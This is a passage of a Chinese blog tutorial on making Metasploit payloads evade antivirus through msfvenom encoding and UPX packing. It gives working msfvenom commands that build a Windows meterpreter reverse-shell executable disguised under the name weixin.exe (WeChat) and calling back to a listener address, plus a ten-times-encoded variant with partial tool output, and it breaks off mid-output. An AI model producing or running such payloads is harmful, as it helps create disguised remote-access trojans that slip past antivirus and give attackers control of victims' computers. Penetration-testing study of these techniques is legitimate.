MSF编码与upx加壳过杀软

最新推荐文章于 2024-08-20 12:35:43 发布

wespten

最新推荐文章于 2024-08-20 12:35:43 发布

阅读量2.3k

点赞数 2

分类专栏：全栈网络安全渗透测试代码审计网络安全工具开发文章标签：安全

本文链接：https://blog.csdn.net/qq_35029061/article/details/126116254

版权

全栈网络安全渗透测试代码审计网络安全工具开发专栏收录该内容

285 篇文章 110 订阅 ¥39.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了如何使用Metasploit（MSF）创建攻击载荷并进行免杀处理，包括MSF编码、多重编码以及使用UPX加壳和脱壳，以绕过杀毒软件的检测。通过实验展示了如何生成和测试免杀的木马文件，并使用在线杀毒检测工具验证效果。

摘要由CSDN通过智能技术生成

本文详细介绍了使用Metasploit创建攻击载荷（使用攻击载荷生成器msfvenom），以及对攻击载荷进行免杀、加壳处理，从而突破杀毒软件。

一、免杀

免杀字面意思就是避免被杀掉，准确点说就是创建的攻击载荷在对方电脑上运行的时候，可能会被杀毒软件干掉，使用相关技术让载荷躲过杀毒软件的扫描。

裸奔马的尝试

意为不做任何免杀处理的WebShell。

1、使用msf的msfvenom生成木马文件，生成一个裸奔马，命名为 weixin.exe吧。

命令：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe
Or
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhosts=192.168.1.113 lport=3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe               1 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: